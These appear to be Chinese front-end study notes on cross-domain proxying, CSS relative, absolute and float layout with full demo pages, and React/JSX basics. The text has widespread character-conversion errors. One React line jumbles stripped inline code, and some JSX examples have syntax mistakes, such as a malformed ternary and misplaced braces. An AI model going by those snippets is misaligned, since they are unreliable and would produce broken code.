在數據提供方沒有提供對JSONP協議或者window.name協議的支持，也沒有對其它域開放訪問權限時，咱們能夠經過server proxy的方式來抓取數據。
例如當www.a.com域下的頁面須要請求www.b.com下的資源文件asset.txt時，直接發送一個指向 www.b.com/asset.txt的ajax請求確定是會被瀏覽器阻止。
這時，咱們在www.a.com下配一個代理，而後把ajax請求綁定到這個代理路徑下，例如www.a.com/proxy/, 而後這個代理髮送HTTP請求訪問www.b.com下的asset.txt，跨域的HTTP請求是在服務器端進行的，客戶端並無產生跨域的ajax請求。
這個跨域方式不須要和目標資源簽定協議，帶有侵略性，另外須要注意的是實踐中應該對這個代理實施必定程度的保護，好比限制他人使用或者使用頻率。
其餘跨域方案
window.name：
在一個窗口(window)的生命週期內,窗口載入的全部的頁面都是共享一個window.name的，每一個頁面對window.name都有讀寫的權限，window.name是持久存在一個窗口載入過的全部頁面中的。
動態建立script
JSONP也就是利用這個原理。
利用iframe和location.hash
淘汰類技術
利用flash
淘汰類技術
參考連接：
http://tech.jandou.com/cross-domain.html
http://www.cnblogs.com/JChen666/p/3399951.html
http://www.ruanyifeng.com/blog/2016/04/cors.html
用HTML5裏的window.postMessage在兩個網頁間傳遞數據
css 定位
1、relative
1）與兄弟
relative對absolute
一、限制left/top/right/bottom定位
二、限制z-index層級；
三、限制在overflow下
relative對fixed
限制z-index層級；
2）自己特徵
定位
一、相對自身
定位移動相對於自身
二、無侵入
relative定位不影響其餘元素
margin影響其餘元素佈局
應用
拖拽效果
同時設置top/bottom left/right
絕對定位：拉伸
相對定位：鬥爭
top VS bottom top起做用
left VS bottom left起做用
3）層級
提升層級上下文
正常文檔流模式下，後面的dom元素覆蓋前面的，若是將前面的元素設置了relative將提高它自身的層級
新建層疊上下文與層級控制
z-index: auto : 沒有限制內部absolute元素層疊的問題（except IE6,IE7 auto也會限制層級）
4）relative的最小化影響原則
——指儘可能下降relative屬性對其餘元素或佈局的潛在影響
1. 儘可能避免使用relative
absolute+margin
2. relative最小化
將absolute父級獨立爲單獨的容器，進行relative定位
2、absolute
1）與兄弟float
相同的特徵表現
1. 包裹性
父元素對子元素的包裹
2. 破壞性
設置了子元素後，父元素高度塌陷
① absolute的破壞性是對圖片的absolute化。圖片設置absolute後，圖片就從標準文檔流中脫離出來，沒有東西能夠繼續支撐容器的高度，容器天然就坍塌了。好像把房子的柱子挪到房子外邊，房子果斷就塌了
② absolute的包裹性是對容器的absolute化。容器設置absolute後，容器變爲了 inline-block，容器自己沒有設置寬度和高度的話，那麼容器的寬高就等於內容的寬高，表現結果就是容器把內容包裹起來。
2）別把relative拴在一塊兒（獨立性的好處）
absolute 越獨立，越強大
超越overflow
獨立的absolute能夠拜託overflow的限制，不管是滾動仍是隱藏
clear 用來限制float
relative用來限制absolute
3）無依賴的absolute定位
脫離文檔流
折翼的天使
1. 去浮動
2. 位置跟隨
原來什麼位置，絕對定位後仍是什麼位置
（ie7 永遠的inline-block水平）
配合margin的精肯定位
4）絕對定位實現相對效果
位置特別重要——充分利用跟隨特性
圖標圖片相覆蓋
img與vip中間使用註釋<！-- -->實現完美貼合，避免出現空格
1 <!doctype html>
2 <html>
3 <head>
4 <meta charset="utf-8">
5 <title>圖標定位二三事</title>
6 <style>
7 body { font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; }
8 body, h3, h5 { margin: 0; }
9 img { border: 0 none; vertical-align: bottom; }
10 .l { float: left; }.r { float: right; }
11 .constr { width: 1200px; margin-left: auto; margin-right: auto; }
12 .header { background-color: #2A2C2E; }
13 .nav { height: 60px; }
14 .nav-list { float: left; font-size: 14px; font-weight: 400; }
15 .nav-a { display: inline-block; line-height: 20px; padding: 20px 35px; color: #B5BDC0; text-decoration: none; }
16 .nav-a:hover { color: #fff; }
17
18 .course { padding-top: 10px; }
19 .course-list { float: left; width: 280px; height: 240px; margin: 5px 10px 15px; border-radius: 0 0 1px 1px; background-color: #F7FAF9; background-color: rgba(255,255,255,1); box-shadow: 0 1px 2px #c5c5c5; text-decoration: none; }
20 .course-list-img { background-color: #6396F1; }
21 .course-list-h { line-height: 50px; font-size: 14px; font-weight: 400; color: #363d40; text-align: center; }
22 .course-list-tips { margin: 0 14px; font-size: 12px; color: #b4bbbf; overflow: hidden; }
23
24 .icon-hot { position: absolute; width: 28px; height: 11px; margin: -6px 0 0 2px; background: url(http://img.mukewang.com/545304730001307300280011.gif); }
25 .icon-recom { position: absolute; line-height: 20px; padding: 0 5px; background-color: #f60; color: #fff; font-size: 12px; }
26 .icon-vip { position: absolute; width: 36px; height: 36px; margin-left: -36px; background: url(http://img.mukewang.com/5453048000015d8800360036.gif); text-indent: -9em; overflow: hidden; }
27 </style>
28 </head>
29
30 <body>
31 <div class="header">
32 <div class="constr">
33 <div class="nav">
34 <h3 class="nav-list">
35 <a href="http://www.imooc.com/course/list" class="nav-a">課程</a>
36 </h3>
37 <h3 class="nav-list">
38 <a href="http://www.imooc.com/wenda" class="nav-a">問答</a>
39 </h3>
40 <h3 class="nav-list">
41 <a href="http://www.imooc.com/seek/index" class="nav-a">
42 求課<i class="icon-hot"></i>
43 </a>
44 </h3>
45 </div>
46 </div>
47 </div>
48
49 <div class="main">
50 <div class="constr">
51 <div class="course">
52 <a href="http://www.imooc.com/view/121" class="course-list">
53 <div class="course-list-img">
54 <span class="icon-recom">推薦</span>
55 <img width="280" height="160" alt="分享：CSS深刻理解之float浮動" src="http://img.mukewang.com/53d74f960001ae9d06000338-300-170.jpg"><!--
56 --><i class="icon-vip">vip</i>
57 </div>
58 <h5 class="course-list-h">分享：CSS深刻理解之float浮動</h5>
59 <div class="course-list-tips">
60 <span class="l">已完結</span>
61 <span class="r">3514人學習</span>
62 </div>
63 </a>
64 </div>
65 </div>
66 </div>
67 </body>
68 </html>
下拉框
利用跟隨特性
1 <!doctype html>
2 <html>
3 <head>
4 <meta charset="utf-8">
5 <title>下拉框定位二三事</title>
6 <style>
7 body { margin: 0; font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; }
8 .constr { width: 1200px; max-width: 80%; margin-left: auto; margin-right: auto; padding-bottom: 300px; overflow: hidden; }
9 .course-sidebar { width: 262px; float: left; }
10 .course-sidebar > div { border: 1px solid #e6e8e9; box-shadow: 0px 1px 2px #d5d7d8; background-color: #fff; }
11 .course-sidebar-type { height: 380px; }
12 .course-sidebar-search { margin-top: 20px; overflow: hidden; }
13 .course-search-input { width: 200px; line-height: 18px; padding: 10px; margin: 0; border: 0 none; font-size: 12px; font-family: inherit; float: left; }
14 .course-sidebar-search.focus { border-color: #2ea7e0; }
15 .course-search-input:focus { outline: 0 none; }
16 .course-search-input::-ms-clear { display: none; }
17 .course-search-btn { width: 38px; height: 38px; float: right; background: url(http://img.mukewang.com/545305ba0001f3f600380076.png); text-indent: -9em; overflow: hidden; }
18 .focus .course-search-btn { background-position: 0 -38px; }
19
20 .course-sidebar-result { display: none; position: absolute; width: 260px; margin: 39px 0 0 -1px; padding-left: 0; list-style-type: none; border: 1px solid #e6e8e9; background-color: #fff; box-shadow: 0px 1px 2px #d5d7d8; font-size: 12px; }
21 .course-sidebar-result > li { line-height: 30px; padding-left: 12px; }
22 .course-sidebar-result > li:hover { background-color: #f9f9f9; }
23 .course-sidebar-result a { display: block; color: #5e5e5e; text-decoration: none; }
24 .course-sidebar-result a:hover { color: #000; }
25 </style>
26 </head>
27
28 <body>
29 <div class="constr">
30 <div class="course-sidebar">
31 <div class="course-sidebar-type"></div>
32 <div class="course-sidebar-search">
33 <ul id="result" class="course-sidebar-result">
34 <li><a href="http://www.imooc.com/view/121">分享：CSS深刻理解之float浮動</a></li>
35 <li><a href="http://www.imooc.com/view/118">案例：CSS圓角進化論</a></li>
36 <li><a href="http://www.imooc.com/view/93">案例：CSS Sprite雪碧圖應用</a></li>
37 <li><a href="http://www.imooc.com/view/77">案例：CSS3 3D 特效</a></li>
38 <li><a href="http://www.imooc.com/view/57">案例：如何用CSS進行網頁佈局</a></li>
39 </ul>
40 <input class="course-search-input" placeholder="課程搜索">
41 <a href="javascript:" class="course-search-btn">搜索</a>
42 </div>
43 </div>
44 </div>
45 <script>
46 (function() {
47 var input = document.getElementsByTagName("input")[0],
48 result = document.getElementById("result");
49
50 if (input && result) {
51 input.onfocus = function() {
52 this.parentNode.className = "course-sidebar-search focus";
53 if (this.value != "") {
54 // show datalist
55 result.style.display = "block";
56 console.log('block');
57 }
58 };
59 input.onblur = function() {
60 if (this.value == "") {
61 this.parentNode.className = "course-sidebar-search";
62 }
63 // hide datalist
64 result.style.display = "none";
65 console.log('none')
66 };
67
68 // IE7 that wrap a DIV for avoid bad effect from float
69 if (!document.querySelector) {
70 var div = document.createElement("div");
71 input.parentNode.insertBefore(div, input);
72 div.appendChild(result);
73 }
74 // events of datalist
75 if ("oninput" in input) {
76 input.addEventListener("input", function() {
77 if (this.value.trim() != "") {
78 result.style.display = "block";
79 } else {
80 result.style.display = "none";
81 }
82 });
83 } else {
84 // IE6-IE8
85 input.onpropertychange = function(event) {
86 event = event || window.event;
87 if (event.propertyName == "value" && /focus/.test(this.parentNode.className)) {
88 if (this.value != "") {
89 result.style.display = "block";
90 } else {
91 result.style.display = "none";
92 }
93 }
94 }
95 }
96 }
97
98 })();
99 </script>
100 </body>
101 </html>
居中
實現圖片居中：
1. text-align+無依賴的絕對定位元素
2. display: block ; margin: auto;
3. position: absolute; margin-left:(width)/2
4. translate-x:-50%
第一種實現方式居中（一樣的方式可用於右側選擇欄）
<div class="course-loading-x">
<img src="http://img.mukewang.com/5453077400015bba00010001.gif" class="course-loading" alt="加載中...">
</div>
css:
.course-loading-x { height: 0; margin-top: 20px; text-align: center; letter-spacing: -.25em; overflow: hidden; }
.course-loading { position: absolute; margin-left: -26px; }
星號對齊（與空格）
星號絕對定位
小圖標對齊
無依賴的絕對定位+margin
溢出
超越外部尺寸限制
<label class="regist-label">
<span class="regist-star">*</span>
登陸郵箱
</label>
.regist-label { width: 70px; padding-top: 10px; float: left; }
.regist-star { position: absolute; margin-left: -1em; font-family: simsun; color: #f30; }
1 <!doctype html>
2 <html>
3 <head>
4 <meta charset="utf-8">
5 <title>文本圖標對齊與定位二三事</title>
6 <style>
7 body { margin: 0; font: 14px/1.4 "Microsoft YaHei"; background-color: #EDEFF0; }
8 a { color: #50B6E5; }
9 .constr { width: 1200px; margin-left: auto; margin-right: auto; }
10 .regist-head { height: 60px; line-height: 60px; padding-left: 30px; background-color: #be3948; color: #fff; font-size: 18px; }
11 .regist-body { min-height: 400px; padding: 100px 0; background-color: #fff; }
12 .regist-main { width: 600px; margin-left: auto; margin-right: auto; }
13 .regist-group { margin-top: 20px; overflow: hidden; }
14 .regist-label { width: 70px; padding-top: 10px; float: left; }
15 .regist-cell { display: table-cell; *display: inline-block; }
16 .regist-input { height: 18px; line-height: 18px; width: 260px; padding: 10px 5px; margin: 0 10px 0 0; border: 1px solid #d0d6d9; vertical-align: top; }
17 .regist-code-input { width: 130px; }
18 .regist-btn { display: inline-block; width: 160px; line-height: 40px; background-color: #39b94e; color: #fff; text-align: center; text-decoration: none; }
19 .regist-btn:hover { background-color: #33a646; }
20 .icon-warn { display: inline-block; width: 20px; height: 21px; background: url(http://img.mukewang.com/5453084a00016ae300120012.gif) no-repeat center; }
21
22 .regist-star { position: absolute; margin-left: -1em; font-family: simsun; color: #f30; }
23 .regist-remark { position: absolute; line-height: 21px; padding-top: 9px; color: #666; }
24 .regist-warn { padding-left: 20px; color: #be3948; }
25 .regist-warn > .icon-warn { position: absolute; margin-left: -20px; }
26 </style>
27 </head>
28
29 <body>
30 <div class="constr">
31 <div class="regist-head">註冊</div>
32 <div class="regist-body">
33 <div class="regist-main">
34 <div class="regist-group">
35 <label class="regist-label"><span class="regist-star">*</span>登陸郵箱</label>
36 <div class="regist-cell">
37 <input type="email" class="regist-input"><span class="regist-remark regist-warn">
38 <i class="icon-warn"></i>郵箱格式不許確（演示）
39 </span>
40 </div>
41 </div>
42 <div class="regist-group">
43 <label class="regist-label"><span class="regist-star">*</span>登陸密碼</label>
44 <div class="regist-cell">
45 <input type="password" class="regist-input"><span class="regist-remark">
46 請輸入6-16位密碼，區分大小寫，不能使用空格
47 </span>
48 </div>
49 </div>
50 <div class="regist-group">
51 <label class="regist-label"><span class="regist-star">*</span>用戶暱稱</label>
52 <div class="regist-cell">
53 <input type="password" class="regist-input">
54 </div>
55 </div>
56 <div class="regist-group">
57 <label class="regist-label">手機號碼</label>
58 <div class="regist-cell">
59 <input type="tel" class="regist-input">
60 </div>
61 </div>
62 <div class="regist-group">
63 <label class="regist-label"><span class="regist-star">*</span>驗 證 碼</label>
64 <div class="regist-cell">
65 <input class="regist-input regist-code-input"><img src="http://img.mukewang.com/545308540001678401500040.jpg">
66 </div>
67 </div>
68 <div class="regist-group">
69 <label class="regist-label"> </label>
70 <div class="regist-cell">
71 <input type="checkbox" checked><label>我已閱讀並贊成<a href="##">慕課協議</a>。</label>
72 <p>
73 <a href="javascript:" class="regist-btn">當即註冊</a>
74 </p>
75 </div>
76 </div>
77 </div>
78 </div>
79 </div>
80 </body>
81 </html>
5）脫離文檔流
垂直空間的層級
後來居上（準則）
z-index潛在誤區
絕對定位元素都須要z-index控制層級，肯定其顯示的垂直位置
1.若是隻有一個絕對定位元素，天然不須要z-index,自動覆蓋普通元素；
2.若是兩個絕對定位，控制DOM流的先後順序達到須要的覆蓋效果，依然無z-index；
3.若是多個絕對定位交錯，很是很是少見，z-index:1控制；
4.若是非彈窗類的絕對定位元素z-index>2,一定z-index冗餘，請優化！
備註：動畫儘可能做用在 絕對定位的元素上。
6）基本屬性（天使的翅膀）
top/left/bottom/right
定位
通常組合使用：top+left/bottom+right
7）基本屬性與width/height
相互替代性
絕對定位對立：left+right/top+bottom ————拉伸效果
positon:absolute; left:0; top:0; width:50%; =====等同於======== position:absolute; left:0; top:0; width:50%;
差別——拉伸更強大
如：實現一個距離右側200px全屏自適應容器層
---------------拉伸-------------- position: absolute; left: 0; right: 200px; ---------------width------------- position: absolute; left:0; width:calc(100%-200);
相互支持性
1. 容器無需固定width/height值，內部元素亦可拉伸
css驅動的左右半區翻圖瀏覽效果
2. 容器拉伸，內部元素支持百分比width/height值
一般狀況：
元素百分比height要起做用，須要父級容器的height值不是auto
絕對定位拉伸下：
即便父級容器的height值是auto，只要容器絕對定位拉伸造成，百分比高度值也是支持的
相互合做性
若是拉伸和width/height同時存在
則：width/height設置的尺寸 > left/top/right/bottom 拉伸的尺寸
當：尺寸限制，拉伸及margin：auto同時出現————絕對定位元素的絕對居中效果（IE8+）
8）absolute網頁總體佈局
擺脫狹隘的定位
1. body降級，子元素升級
//升級的子div設置爲滿屏
.page{ position: absolute; left:0; top: 0;right: 0;bottom: 0 }
//絕對定位受限於父級，所以，page要想拉伸，則須要
html, body{ height: 100%; }
2. 各模塊-頭尾、側邊欄（pc端）各居其位
header,footer{ position: absolute; left: 0; right: 0; }
header {height: 50px; top:0; }
footer {height: 50px; bottom: 0; }
side{ width: 250px; position: absolute; left: 0; top:50px; bottom:50px; }
3. 內容區域想象成body
.content{position: absolute; top: 50px; bottom:50px;left:250px; overflow:auto}
這時： 頭尾及側邊欄都是fixed效果，不跟隨滾動，避免了移動端position：fixed實現的諸多問題
4. 全屏覆蓋與page平級
.overlay{
position: absolute;
top: 0;right:0;bottom:0;left:0;
z-index:900;
}
<div class="page"></div>
<div class="overlay"></div>
完整實例
1 <!doctype html>
2 <html>
3 <head>
4 <meta charset="utf-8">
5 <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
6 <title>慕課網-絕對定位整頁佈局演示</title>
7 <link rel="stylesheet" href="css/absolute-layout.css">
8 <style>
9 body { font-family: 'microsoft yahei'; }
10 </style>
11 </head>
12
13 <body>
14 <div class="page">
15 <div class="header">
16 <h1>慕課網</h1>
17 <a href="javascript:" class="icon-add">添加</a>
18 <a href="javascript:" class="icon-search">搜索</a>
19 </div>
20 <div class="content">
21 <div class="">
22 <a href="http://www.imooc.com/learn/192" class="wechat-list">
23 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
24 <div class="cell">
25 <div class="wechat-h-time"><h5>張鑫旭</h5><time>早上09:51</time></div>
26 <p>CSS深刻理解值絕對定位</p>
27 </div>
28 </a>
29 <a href="http://www.imooc.com/learn/192" class="wechat-list">
30 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
31 <div class="cell">
32 <div class="wechat-h-time"><h5>張鑫旭</h5><time>早上09:38</time></div>
33 <p>若是高度不夠，能夠手動縮小瀏覽器高度</p>
34 </div>
35 </a>
36 <a href="http://www.imooc.com/learn/192" class="wechat-list">
37 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
38 <div class="cell">
39 <div class="wechat-h-time"><h5>張鑫旭</h5><time>早上08:47</time></div>
40 <p>此demo是本系列最後一個demo</p>
41 </div>
42 </a>
43 <a href="http://www.imooc.com/learn/192" class="wechat-list">
44 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
45 <div class="cell">
46 <div class="wechat-h-time"><h5>張鑫旭</h5><time>早上08:36</time></div>
47 <p>此demo須要在高級瀏覽器中查看</p>
48 </div>
49 </a>
50 <a href="http://www.imooc.com/learn/192" class="wechat-list">
51 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
52 <div class="cell">
53 <div class="wechat-h-time"><h5>張鑫旭</h5><time>昨天</time></div>
54 <p>重在原理展現，結構可多變。例如，header放在page外面~~</p>
55 </div>
56 </a>
57 <a href="https://github.com/zhangxinxu/mobilebone" class="wechat-list">
58 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
59 <div class="cell">
60 <div class="wechat-h-time"><h5>張鑫旭</h5><time>昨天</time></div>
61 <p>最近鄙人整了個名叫Mobilebone的開源項目</p>
62 </div>
63 </a>
64 <a href="https://github.com/zhangxinxu/mobilebone" class="wechat-list">
65 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
66 <div class="cell">
67 <div class="wechat-h-time"><h5>張鑫旭</h5><time>星期三</time></div>
68 <p>就是依賴絕對定位總體佈局，你們能夠前去圍觀</p>
69 </div>
70 </a>
71 <a href="http://www.imooc.com/learn/192" class="wechat-list">
72 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
73 <div class="cell">
74 <div class="wechat-h-time"><h5 class="business">慕課網</h5><time>星期三</time></div>
75 <p><img src="http://img.mukewang.com/547d33a00001299b00320033.jpg" width="16" height="16"></p>
76 </div>
77 </a>
78 <a href="http://www.imooc.com/learn/121" class="wechat-list">
79 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
80 <div class="cell">
81 <div class="wechat-h-time"><h5>張鑫旭</h5><time>星期三</time></div>
82 <p>CSS深刻理解之浮動</p>
83 </div>
84 </a>
85 <a href="http://www.imooc.com/learn/121" class="wechat-list">
86 <img src="http://img.mukewang.com/547d338d00010ced01200120.jpg">
87 <div class="cell">
88 <div class="wechat-h-time"><h5>張鑫旭</h5><time>上週</time></div>
89 <p>一樣精彩，歡迎支持~</p>
90 </div>
91 </a>
92 </div>
93 </div>
94
95 <div class="footer">
96 <a href="http://www.imooc.com/course/list">
97 <i class="icon-wechat"></i>課程
98 </a>
99 <a href="http://www.imooc.com/wenda">
100 <i class="icon-contacts"></i>問答
101 </a>
102 <a href="http://www.imooc.com/seek/index">
103 <i class="icon-finds"></i>求課
104 </a>
105 <a href="http://www.imooc.com/space/course" class="active">
106 <i class="icon-mes"></i>個人課程
107 </a>
108 </div>
109 </div>
110 </body>
111 </html>
1 /* wechat.css */
2 body {
3 margin: 0;
4 -webkit-user-select: none;
5 user-select: none;
6 -ms-touch-action: none;
7 }
8
9 /* construction */
10 html, body, .page {
11 height: 100%; width: 100%;
12 overflow: hidden;
13 }
14 .page {
15 position: absolute; left: 0; top: 0;
16 }
17 body { background-color: #ebebeb; font-family: "Helvetica Neue", Helvetica, STHeiTi, sans-serif; }
18 a { text-decoration: none; -webkit-tap-highlight-color: rgba(0,0,0,0); }
19 h1,h2,h3,h4,h5,h6{ margin: 0; font-weight: 400; }
20 ul,ol{ margin: 0; list-style-type: none; }
21
22 .header, .footer, .content { position: absolute; left: 0; right: 0; }
23 .header { height: 48px; padding: 0 5px; background-color: #21292B; color: #fff; top: 0; z-index: 1; }
24 .header > h1 { line-height: 48px; margin: 0 0 0 10px; font-size: 18px; float: left; }
25 .header > a { display: inline-block; width: 48px; height: 48px; background-size: 48px 144px; text-indent: -9em; overflow: hidden; }
26 .header > .icon-search, .header > .icon-add { float: right; }
27 .footer { height: 52px; border-top: 1px solid #dfdfdf; background-color: #fcfcfc; bottom: 0; z-index: 1; }
28 .footer > a { width: 25%; text-align: center; color: #999; float: left; font-size: 14px; }
29 .footer > a > i { display: block; height: 35px; margin-bottom: -3px; background-size: 35px 280px; }
30 .footer > .active { color: #45c018; }
31 .content { top: 48px; bottom: 53px; overflow: auto; }
32
33 .icon-search, .icon-back, .icon-add { background: url(http://img.mukewang.com/547d339b000188bb00960288.png) no-repeat; }
34 .icon-back { background-position: 0 -96px; }
35 .icon-add { background-position: 0 -48px; }
36 .icon-wechat, .icon-contacts, .icon-finds, .icon-mes { background: url(http://img.mukewang.com/547d33970001444d00700560.png) no-repeat center top; }
37 .active .icon-wechat { background-position: center -35px; }
38 .icon-contacts { background-position: center -70px; }
39 .active .icon-contacts { background-position: center -105px; }
40 .icon-finds { background-position: center -140px; }
41 .active .icon-finds { background-position: center -175px; }
42 .icon-mes { background-position: center -210px; }
43 .active .icon-mes { background-position: center -245px; }
44 .icon-find { background: url(icon-find.png) no-repeat; background-size: 28px 210px; }
45 .icon-find-2 { background-position: 0 -30px; }
46 .icon-find-3 { background-position: 0 -60px; }
47 .icon-find-4 { background-position: 0 -90px; }
48 .icon-find-5 { background-position: 0 -120px; }
49 .icon-find-6 { background-position: 0 -150px; }
50 .icon-find-7 { background-position: 0 -180px; }
51 .icon-me { background: url(icon-me.png) no-repeat; background-size: 28px 120px; }
52 .icon-me-2 { background-position: 0 -30px; }
53 .icon-me-3 { background-position: 0 -60px; }
54 .icon-me-4 { background-position: 0 -90px; }
55
56
57 .wechat-list { display: block; height: 64px; padding: 8px 12px; box-sizing: border-box; border-bottom: 1px solid #d7d7d7; background-color: #fff; }
58 .wechat-list:last-child { border-bottom: 0; }
59 .wechat-list > img { width: 48px; height: 48px; float: left; }
60 .wechat-list > .cell { padding-left: 58px; line-height: 24px; color: #333; }
61 .wechat-h-time { overflow: hidden; }
62 .wechat-h-time > h5 { font-size: 100%; float: left; }
63 .wechat-h-time > time { font-size: 12px; color: #b9b9b9; float: right; }
64 .wechat-h-time .business { color: #54688D; }
65 .wechat-h-time + p { margin: 0 20px 0 0; font-size: 14px; color: #a8a8a8; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }
66 .wechat-detail { position: relative; z-index: 1; }
3、float
1）float的設計初衷僅僅是： 文字環繞效果
包裹與破壞
使父元素塌陷
- clear
- BFC/haslayout
.clearfix:after{content:'';display:table;clear:both;}
.clearfix{*zoom:1;}
clearfix只須要用在包含浮動子元素的父級元素上
兩種方式：
1 <!doctype html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <title>clear與margin重疊</title> 6 </head> 7 8 <body> 9 1. 10 <div style=""> 11 <img src="http://img.mukewang.com/53d60af3000171a002560191.jpg" style="float:left;"> 12 <div style="clear:both; margin-bottom:100px;">clear:both;</div> 13 </div> 14 <div style="margin-top: 100px;">本文字離圖片的距離是？</div> 15 <br><br><br><br>2. 16 <div style=" overflow: hidden;"> 17 <img src="http://img.mukewang.com/53d60af3000171a002560191.jpg" style="float:left; margin-bottom: 100px;"> 18 </div> 19 <div style="margin-top: 100px;">本文字離圖片的距離是？</div> 20 </body> 21 </html>
清除浮動有兩種方法：
一、用clear清除浮動：浮動元素底部加入 <div> + clear:both 樣式； 會發生margin重疊顯現。
緣由：外部元素會對內部元素產生影響，圖片的bottom是針對下一個div的上部爲標準，因此上移100px，而發生重疊。
二、用BFC清除浮動：浮動元素的父元素 + overflow:hidden 樣式； 父元素會將整個元素包裹起來，從而不會出現塌陷和重疊顯現。
緣由：內部元素被包裹起來不會受到干擾，圖片的bottom就是父元素的bottom，因此上移100px;
2）浮動的濫用
砌磚佈局
1. 容錯性比較糟糕，容易出問題
2. 這種佈局須要元素固定尺寸，很難重複使用
3. 低版本ie下有不少問題
3）浮動與流動佈局
1. 單側固定
width+ float
padding-left/margin-left
2. 智能自適應
float
display: table-cell ie8+
display: inline-block ie7
4） 兼容
ie7
react小結
react基礎小結
1. 例子
import React from 'react'
import { render } from 'react-dom'
// 定義組件
class Hello extends React.Component {
render() {
// return 裏面寫jsx語法
return ( <p>hello world</p> )
}
}
// 渲染組件到頁面
render( <Hello/>, document.getElementById('root') )
import React from 'react'
這裏的react對應的是文件中中的，即在該目錄下用安裝的 react 。npm 安裝的 react 的物理文件是存放在 中的，所以引用的東西確定就在這個文件夾裏面。
中的，這裏的即指定了入口文件，即這個文件
2. jsx語法
1）使用一個父節點包裹
jsx中不能一次性返回零散的多個節點，若是有多個則包含到一個節點中
如：./package.jsondependencies'react'npm install./node_modules/react./node_modules/react/package.json"main": "react.js",main./node_modules/react/react.js
return (
<div>
<p>段落1</p>
<p>段落2</p>
<p>段落3</p>
</div>
)
3. 註釋
jsx中用{/**/}的註釋形式
如：
return(
//jsx外的註釋
<div>
{/*jsx裏面的註釋*/}
<p>hello</p>
</div>
)
4. 樣式
css樣式：
<p className="class1">hello</p> <!--用className代替class*/
內聯樣式：
<p style={{color:'red',fontSize:'20px'}}>hello</p>
<!--注意{{}},和駝峯寫法-->
5. 事件
如：click
class Hello extends React.Component{
render(){
return (
<p onClick={this.clickHandler.bind(this)}>hello</p>
)
}
clickHandler(event){
console.log('yes')
}
}
注意：onClick駝峯寫法
6. 循環
7. 判斷
jsx中通常會用到三元表達式（表達式也是放在{}中的）
如：
return(
<div>
<p>段落1</p>
{
true
? <p> true </p>
: <p> false </p>
</div>
}
</div>
)
也能夠這樣使用：
<p style={{display: true? 'block' ? 'none'}}> hello world</p>
8. 數據傳遞&數據變化
1） props
若是
<Header title="Hello頁面"/>
在Header組件中能夠這樣取到
render(){
return(
<p>{this.props.title}</p>
)
}
在react中，父組件給子組件傳遞數據時，就是以上的方式，經過給子組件設置props，子組件獲取props中的值即可完成數據傳遞。
2）props&state
若是組件內部自身的屬性發生變化
class Hello extends React.Component{
constructor(props,context){
super(props,context);
this.state={
//顯示當前時間
now:Date.now()
}
}
render(){
return(
<div>
<p>hello world {this.state.now}</p>
</div>
)
}
}
react會實時監聽每一個組件的props和state值，一旦有變化，會馬上更新組件，將結果從新渲染到頁面上
var LikeButton = React.createClass({
getInitialState: function (){
return {liked : false};
},
handleClick: function (event) {
this.setState({liked: !this.state.liked});
},
render: function(){
var text = this.state.liked ? 'like' : 'haven\'t liked';
return (
<p onClick={this.handleClick}>
you {text} this click to toggle
</p>
);
}
});
3）智能組件&木偶組件